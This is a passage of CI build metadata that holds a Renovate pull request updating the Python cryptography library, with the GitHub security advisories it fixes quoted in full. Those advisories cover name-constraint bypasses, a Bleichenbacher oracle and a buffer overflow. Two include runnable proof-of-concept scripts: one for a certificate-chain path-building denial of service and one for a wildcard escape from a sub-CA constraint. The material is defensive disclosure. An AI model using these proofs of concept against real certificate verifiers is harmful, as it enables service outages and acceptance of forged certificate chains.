          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)\n-
          [https://github.com/pyca/cryptography/commit/3763aa79b](https://redirect.github.com/pyca/cryptography/commit/3763aa79b)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml)\n-
          [https://github.com/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
          [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
          [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n###
          [`v48.0.1`](https://redirect.github.com/pyca/cryptography/compare/48.0.0...48.0.1)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.0...48.0.1)\n\n###
          [`v48.0.0`](https://redirect.github.com/pyca/cryptography/compare/47.0.0...48.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/47.0.0...48.0.0)\n\n###
          [`v47.0.0`](https://redirect.github.com/pyca/cryptography/compare/46.0.7...47.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.7...47.0.0)\n\n###
          [`v46.0.7`](https://redirect.github.com/pyca/cryptography/compare/46.0.6...46.0.7)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.6...46.0.7)\n\n###
          [`v46.0.6`](https://redirect.github.com/pyca/cryptography/compare/46.0.5...46.0.6)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.5...46.0.6)\n\n###
          [`v46.0.5`](https://redirect.github.com/pyca/cryptography/compare/46.0.4...46.0.5)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.4...46.0.5)\n\n###
          [`v46.0.4`](https://redirect.github.com/pyca/cryptography/compare/46.0.3...46.0.4)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.3...46.0.4)\n\n###
          [`v46.0.3`](https://redirect.github.com/pyca/cryptography/compare/46.0.2...46.0.3)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.2...46.0.3)\n\n###
          [`v46.0.2`](https://redirect.github.com/pyca/cryptography/compare/46.0.1...46.0.2)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.1...46.0.2)\n\n###
          [`v46.0.1`](https://redirect.github.com/pyca/cryptography/compare/46.0.0...46.0.1)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.0...46.0.1)\n\n###
          [`v46.0.0`](https://redirect.github.com/pyca/cryptography/compare/45.0.7...46.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/45.0.7...46.0.0)\n\n###
          [`v45.0.7`](https://redirect.github.com/pyca/cryptography/compare/45.0.6...45.0.7)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/45.0.6...45.0.7)\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about this update again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/vexxhost/ansible-collection-containers).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjI0NC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->\n"
        change_url: https://github.com/vexxhost/ansible-collection-containers/pull/153
        commit_id: 0e9c4d0d18e3b3906ee3f388efb41a62c77e04ef
        patchset: 0e9c4d0d18e3b3906ee3f388efb41a62c77e04ef
        project:
          canonical_hostname: github.com
          canonical_name: github.com/vexxhost/ansible-collection-containers
          name: vexxhost/ansible-collection-containers
          short_name: ansible-collection-containers
          src_dir: src/github.com/vexxhost/ansible-collection-containers
        src_dir: src/github.com/vexxhost/ansible-collection-containers
        topic: null
      buildset: 8d4da2814b33452d8efa604397a10981
      buildset_refs:
      - branch: main
        change: '153'
        change_message: "chore(deps): update dependency cryptography to v50 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
          | `45.0.6` \u2192 `50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/45.0.6/50.0.0?slim=true)
          |\n\n---\n\n### cryptography Vulnerable to a Subgroup Attack Due to Missing
          Subgroup Validation for SECT Curves\n[CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007)
          / [GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Vulnerability Summary\n\nThe
          `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`),
          `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()`
          functions do not verify that the point belongs to the expected prime-order
          subgroup of the curve.\n\nThis missing validation allows an attacker to
          provide a public key point `P` from a small-order subgroup.  This can lead
          to security issues in various situations, such as the most commonly used
          signature verification (ECDSA) and shared key negotiation (ECDH). When the
          victim computes the shared secret as `S = [victim_private_key]P` via ECDH,
          \ this leaks information about `victim_private_key mod (small_subgroup_order)`.
          For curves with cofactor > 1, this reveals the least significant bits of
          the private key.  When these weak public keys are used in ECDSA , it's easy
          to forge signatures on the small subgroup.\n\nOnly SECT curves are impacted
          by this.\n\n##### Credit\n\nThis vulnerability was discovered by:\n- XlabAI
          Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2)\n-
          [https://github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c](https://redirect.github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c)\n-
          [https://github.com/pyca/cryptography/releases/tag/46.0.5](https://redirect.github.com/pyca/cryptography/releases/tag/46.0.5)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007)\n-
          [http://www.openwall.com/lists/oss-security/2026/02/10/4](http://www.openwall.com/lists/oss-security/2026/02/10/4)\n-
          [https://github.com/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography has incomplete DNS name constraint enforcement on peer names\n[CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073)
          / [GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nIn versions of cryptography
          prior to 46.0.5, DNS name constraints were only validated against SANs within
          child certificates, and not the \"peer name\" presented during each validation.
          Consequently, cryptography would allow a peer named `bar.example.com` to
          validate against a wildcard leaf certificate for `*.example.com`, even if
          the leaf's parent certificate (or upwards) contained an excluded subtree
          constraint for `bar.example.com`.\n\nThis behavior resulted from a gap between
          RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines
          service identity semantics): put together, neither states definitively whether
          Name Constraints should be applied to peer names. To close this gap, cryptography
          now conservatively rejects any validation where the peer name would be rejected
          by a name constraint if it were a SAN instead.\n\nIn practice, exploitation
          of this bypass requires an uncommon X.509 topology, one that the Web PKI
          avoids because it exhibits these kinds of problems. Consequently, we consider
          this a medium-to-low impact severity.\n\nSee CVE-2025-61727 for a similar
          bypass in Go's `crypto/x509`.\n\n##### Remediation\n\nUsers should upgrade
          to 46.0.6 or newer. \n\n##### Attribution\n\nReporter: @&#8203;1seal\n\n####
          Severity\n- CVSS Score: 1.7 / 10 (Low)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml)\n-
          [https://github.com/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Cryptography vulnerable to buffer overflow if non-contiguous buffers were
          passed to APIs\n[CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892)
          / [GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\nIf a non-contiguous buffer was passed
          to APIs which accepted Python buffers (e.g. `Hash.update()`), this could
          lead to buffer overflows. For example:\n\n```python\nh = Hash(SHA256())\nb.update(buf[::-1])\n```\n\nwould
          read past the end of the buffer on Python >3.11\n\n#### Severity\n- CVSS
          Score: 6.9 / 10 (Medium)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892)\n-
          [http://www.openwall.com/lists/oss-security/2026/04/08/12](http://www.openwall.com/lists/oss-security/2026/04/08/12)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml)\n-
          [https://github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27](https://redirect.github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27)\n-
          [https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5](https://redirect.github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5)\n-
          [https://access.redhat.com/errata/RHSA-2026:19375](https://access.redhat.com/errata/RHSA-2026:19375)\n-
          [https://access.redhat.com/errata/RHSA-2026:43651](https://access.redhat.com/errata/RHSA-2026:43651)\n-
          [https://access.redhat.com/errata/RHSA-2026:43670](https://access.redhat.com/errata/RHSA-2026:43670)\n-
          [https://access.redhat.com/errata/RHSA-2026:43851](https://access.redhat.com/errata/RHSA-2026:43851)\n-
          [https://access.redhat.com/errata/RHSA-2026:43853](https://access.redhat.com/errata/RHSA-2026:43853)\n-
          [https://access.redhat.com/errata/RHSA-2026:43854](https://access.redhat.com/errata/RHSA-2026:43854)\n-
          [https://access.redhat.com/errata/RHSA-2026:43855](https://access.redhat.com/errata/RHSA-2026:43855)\n-
          [https://access.redhat.com/errata/RHSA-2026:46956](https://access.redhat.com/errata/RHSA-2026:46956)\n-
          [https://access.redhat.com/errata/RHSA-2026:7295](https://access.redhat.com/errata/RHSA-2026:7295)\n-
          [https://access.redhat.com/security/cve/CVE-2026-39892](https://access.redhat.com/security/cve/CVE-2026-39892)\n-
          [https://bugzilla.redhat.com/show_bug.cgi?id=2456735](https://bugzilla.redhat.com/show_bug.cgi?id=2456735)\n-
          [https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json)\n-
          [https://access.redhat.com/errata/RHSA-2026:20338](https://access.redhat.com/errata/RHSA-2026:20338)\n-
          [https://access.redhat.com/errata/RHSA-2026:21017](https://access.redhat.com/errata/RHSA-2026:21017)\n-
          [https://access.redhat.com/errata/RHSA-2026:22465](https://access.redhat.com/errata/RHSA-2026:22465)\n-
          [https://access.redhat.com/errata/RHSA-2026:22629](https://access.redhat.com/errata/RHSA-2026:22629)\n-
          [https://access.redhat.com/errata/RHSA-2026:22840](https://access.redhat.com/errata/RHSA-2026:22840)\n-
          [https://access.redhat.com/errata/RHSA-2026:23361](https://access.redhat.com/errata/RHSA-2026:23361)\n-
          [https://access.redhat.com/errata/RHSA-2026:24483](https://access.redhat.com/errata/RHSA-2026:24483)\n-
          [https://access.redhat.com/errata/RHSA-2026:24761](https://access.redhat.com/errata/RHSA-2026:24761)\n-
          [https://access.redhat.com/errata/RHSA-2026:24762](https://access.redhat.com/errata/RHSA-2026:24762)\n-
          [https://access.redhat.com/errata/RHSA-2026:24853](https://access.redhat.com/errata/RHSA-2026:24853)\n-
          [https://access.redhat.com/errata/RHSA-2026:24866](https://access.redhat.com/errata/RHSA-2026:24866)\n-
          [https://access.redhat.com/errata/RHSA-2026:24977](https://access.redhat.com/errata/RHSA-2026:24977)\n-
          [https://access.redhat.com/errata/RHSA-2026:30088](https://access.redhat.com/errata/RHSA-2026:30088)\n-
          [https://access.redhat.com/errata/RHSA-2026:30089](https://access.redhat.com/errata/RHSA-2026:30089)\n-
          [https://access.redhat.com/errata/RHSA-2026:37275](https://access.redhat.com/errata/RHSA-2026:37275)\n-
          [https://access.redhat.com/errata/RHSA-2026:42644](https://access.redhat.com/errata/RHSA-2026:42644)\n-
          [https://github.com/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Vulnerable OpenSSL included in cryptography wheels\n[GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\npyca/cryptography's wheels include
          a statically linked copy of OpenSSL. The versions of OpenSSL included in
          wheels prior to cryptograph 48.01 are vulnerable to a security issue. More
          details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.\n\nIf
          you are building cryptography source (\"sdist\") then you are responsible
          for upgrading your copy of OpenSSL. Only users installing from wheels built
          by the cryptography project (i.e., those distributed on PyPI) need to update
          their cryptography versions.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n#### References\n-
          [https://github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf)\n-
          [https://openssl-library.org/news/secadv/20260609.txt](https://openssl-library.org/news/secadv/20260609.txt)\n-
          [https://github.com/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`pkcs7_decrypt_der`,
          `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of
          decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable
          ways, one of which disclosed the exact length recovered from the\nRSA operation.
          The same distinction was also observable by timing. An\napplication that
          decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives
          the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced
          in 44.0.0. Fixed in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1
          v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result
          \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently,
          with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption
          failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for
          AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding
          bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where
          the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL,
          and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead
          returns a synthetic plaintext of\npseudorandom length, so the error channel
          does not distinguish conforming\nciphertexts.\n\nExploitation requires a
          service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim
          certificate and answers adaptively at high volume, such as\nan S/MIME gateway
          or mail filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm
          is now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nIf an intermediate
          constrained CA permits the DNS name `foo.example.com`, and the leaf certificate
          has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's
          verifier accepts which allows escaping outside of the permitted names.\n\n#####
          PoC\n\n```\n\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches
          admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint:
          dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected:
          rejection (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved:
          pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative
          for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport
          datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import
          NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)\n-
          [https://github.com/pyca/cryptography/commit/286c89128](https://redirect.github.com/pyca/cryptography/commit/286c89128)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml)\n-
          [https://github.com/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography: Duplicate self-signed intermediates can cause exponential
          path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nWhen resolving invalid
          certificate chains that include duplicate copies of self-signed certificates,
          the processing recursively invokes the same candidate, leading to an exponential
          blowup. Although the limitation that the chain depth cannot exceed a specified
          maximum depth prevents unbounded recursion and guarantees termination, an
          attacker-controlled certificate chain can lead the processing to easily
